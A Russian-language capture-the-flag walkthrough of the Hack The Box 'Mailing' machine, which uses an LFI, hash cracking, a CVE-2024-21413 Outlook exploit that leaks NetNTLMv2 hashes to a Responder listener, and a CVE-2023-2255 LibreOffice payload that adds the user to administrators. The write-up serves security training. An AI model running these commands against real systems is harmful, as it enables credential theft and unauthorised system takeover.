HTB Mailing
Эксплуатируем новый баг в почтовом клиенте Outlook
Наша цель — получение прав суперпользователя на машине Mailing с учебной площадки Hack The Box. Уровень задания — легкий.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.14 mailing.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел много открытых портов, что нормально для серверов на Windows:
- 25 — hMailServer (почтовый сервер SMTP);
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 110 — hMailServer (почтовый сервер POP3);
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 143 — hMailServer (почтовый сервер IMAP);
- 445 — SMB;
- 587 — hMailServer (почтовый сервер SMTP SSL);
- 993 — hMailServer (почтовый сервер POP3 SSL);
- 5985 — служба удаленного управления WinRM.
На SMB ничего интересного нет, почтовая служба пока мало чем будет полезна, поэтому идем смотреть веб‑сервер.

Сразу отмечаем на главной странице ссылку на какую‑то инструкцию.
Точка входа
Инструкция очень большая, но в ней никаких учетных данных. Однако из нее мы узнаём почтовый адрес maya@mailing.
, а также то, что используется почтовый клиент Outlook.

Здесь явно предполагается вектор фишинга, но у нас пока что нет никаких учетных данных, а значит, поищем другие пути для продвижения. Обратим внимание на способ скачивания инструкции. Подробности можно посмотреть в Burp History.

Имя файла передается в параметре file
, а это значит, что тут может быть уязвимость LFI, позволяющая просматривать другие файлы в системе. Давай переберем возможные пути через Burp Intruder. В качестве целевого файла будем использовать всегда и всем доступный для чтения /
.


Фильтруем результат и видим в запросах содержимое файла, а значит, есть LFI.
Точка опоры
Чтобы проверять какие‑то системные файлы, нам может не хватать привилегий, поэтому работаем с тем, что есть, а именно с hMailServer, который мы видели, сканируя порты. После поиска информации в интернете я нашел на «Дзене» русскоязычную статью по администрированию hMailServer. В статье приведен путь к файлу с настройками, а также его примерное содержимое. Меня очень заинтересовали строки с паролями.

Прочитаем настройки на удаленном сервере через Burp Repeater:
C:\Program+Files+(x86)\hMailServer\Bin\hMailServer.INI

Строка в параметре AdministratorPassword
— это наверняка хеш пароля, а не сам пароль. Отдадим его hashcat.
hashcat 841bb5acfa6779ae432fd7a4e6600ba7 rockyou.txt

Но hashcat лишь отобразил список возможных алгоритмов хеширования. Так мы узнаём, что сервер hMailServer использует для хеширования паролей алгоритм MD5, поэтому указываем режим 0 и повторяем брут.
hashcat -m 0 841bb5acfa6779ae432fd7a4e6600ba7 rockyou.txt

Отлично, теперь у нас есть пароль и имя пользователя администратора почтового сервера. Переходим к фишингу.
Продвижение
Никакой информации о форматах отправляемых файлов я не нашел. По отправленным мной ссылкам на HTTP и SMB тоже никто не перешел. Тогда я решил обратить свое внимание на последние эксплоиты в Outlook. Поищем их, используя Google.

Нашлась уязвимость CVE-2024-21413. Она позволяет обойти встроенные средства защиты Outlook от вредоносных ссылок в электронных письмах. Для этого используется протокол file:/
и специальный символ !
в ссылке для доступа к удаленному серверу. Помимо всего, эта уязвимость позволяет обойти функцию «Защищенный вид», которая предназначена для блокировки вредоносного содержимого файлов.
На GitHub уже есть готовый автоматизированный эксплоит, поэтому сделаем всё по инструкции. Первым делом запустим листенер.
sudo python3 Responder.py -I tun0
А затем отправим сообщение, где в параметре --url
укажем адрес листенера.
python3 CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url "\\10.10.16.5/test" --subject Test


В итоге ловим NetNTLMv2-хеш пароля пользователя maya
и отправляем его на брут.
hashcat maya::MAILING:d76ae35a1ec4b9cc:2530B2.....0000 rockyou.txt

С полученным паролем авторизуемся по WinRM и получаем первый флаг.
evil-winrm -i mailing.htb -u maya -p m4y4ngs4ri

Локальное повышение привилегий
Осматриваемся в файловой системе и находим необычный каталог Important
на диске C.

Вектор сразу стал понятен — нужно сформировать документ с макросом или использовать какую‑то уязвимость в офисном приложении. Но сперва найдем целевое офисное приложение, скорее всего, оно будет в Program
.

Судя по каталогам, искомое приложение — это LibreOffice. Из файла readmes\
узнаем версию продукта.

Первым делом стоит проверить, есть ли для этой версии готовые эксплоиты. Снова отправляемся в Google.

По первой ссылке получаем эксплоит для уязвимости CVE-2023-2255, которая позволяет выполнить произвольный код при открытии специально созданного документа. Сгенерируем документ и закинем в каталог Important
на диске C. В качестве нагрузки зададим однострочник, добавляющий текущего пользователя в группу администраторов.
python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt'
Как только документ исчезнет из каталога, проверим группы пользователя.

Текущий пользователь теперь в группе администраторов, а значит, можем перелогиниться и прочитаем флаг рута.

Машина захвачена!